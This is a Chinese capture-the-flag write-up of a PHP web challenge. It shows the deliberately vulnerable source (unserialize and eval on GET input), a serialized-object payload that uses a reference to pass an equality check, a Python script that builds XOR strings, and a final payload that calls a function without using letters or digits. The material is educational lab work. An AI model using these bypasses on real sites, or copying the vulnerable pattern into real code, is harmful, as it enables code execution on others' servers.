markdown用的不好,并且有写的不恰当的地方还请大佬指正,这题主要的知识点是php反序列化和无数字字母执行函数获取webshell
<?php
include "flag.php";
show_source(__FILE__);
class user {
var $name;
var $pass;
var $secret;
}
if (isset($_GET['id'])) {
$id = $_GET['id'];
$usr = unserialize($id);
if ($usr) {
$usr->secret = $flag1;
if ($usr->name === "admin" && $usr->pass === $usr->secret) {
echo "Congratulation! Here is something for you... " . $usr->pass;
if (isset($_GET['caption'])) {
$cap = $_GET['caption'];
if (strlen($cap) > 45) {
die("Naaaah, Take rest now");
}
if (preg_match("/[A-Za-z0-9]+/", $cap)) {
die("Don't mess with the best language!!");
}
eval($cap);
// Try to execute echoFlag()
} else {
echo "NVM You are not eligible";
}
} else {
echo "Oh no... You can't fool me";
}
} else {
echo "are you trolling?";
}
} else {
echo "Go and watch some Youthoob Tutorials Kidosss!!";
}
php代码审计。对传入的参数id进行了反序列化,然后serect属性被赋了$flag1变量的值,显然这里的$flag1是flagh.php的变量,然后进行了第一层if语句的判断,判断name属性的值是否等于"admin"以及判断pass属性和secret属性的值是否相等。
这里的name属性很好搞定,但是pass和secret相等就要想办法实现,这里的难搞之处在于secret被重新赋值了,而却$flag1的值我们是不知道的。所以这里就要用到一个知识点,那就是指针引用的序列化,有关序列化的问题这篇博客讲的比较详细:https://blog.csdn.net/Iamduoluo/article/details/8491746?utm_source=blogxgwz6。
总之就是如果$a=&$b,那么a就是对b的指针引用,简而言之如果$b的值改变,那么$a的值也发生改变并且与$b相等,所以我们就可以让user类中的pass属性指针引用serect属性,那么就可以实现$usr->pass === $usr->secret了,构造id为:
id=O:4:"user":3:{s:4:"name";s:5:"admin";s:6:"secret";s:3:"456";s:4:"pass";R:3;}
即可绕过第一个if。(这里的serect是任取的,反正后面还要赋值)
那么接着看,下面要传入一个参数caption,而且对此参数存在着长度的过滤和数字字母的过滤。并且注释提示我们要执行echoFlag函数,这里就可以参考hint中的无数字字母执行函数getshell的方法,采用异或的方式来使用特殊字符来构造函数并执行。https://ctf-wiki.github.io/ctf-wiki/web/php/php-zh/#preg_match
异或构造echoFlag python脚本:
str = r"~!@#$%^&*()_+<>?,.;:-[]{}\/"
str2="echoFlag"
for ch in str2:
for i in range(0, len(str)):
for j in range(0, len(str)):
a = ord(str[i])^ord(str[j])
if chr(a)==ch:
print(str[i] + ' ^ ' + str[j] + ' is ' + chr(a));
caption=\$_="@\(/},?<"^"%?@@;@^[";\$_();
// 这里的\$_代表一个变量,字符串 "@\(/},?<"^"%?@@;@^[" 就是echoFlag,然后是\$_();就是执行函数echoFlag();
//所以payload就是
?id=O:4:"user":3:{s:4:"name";s:5:"admin";s:6:"secret";s:3:"456";s:4:"pass";R:3;}&caption=\$_="@\(/},?<"^"%?@@;@^[";\$_();
然后即得flag: flag{Do_you_want_a_girlfriend}
emmmmm,这个flag。。。。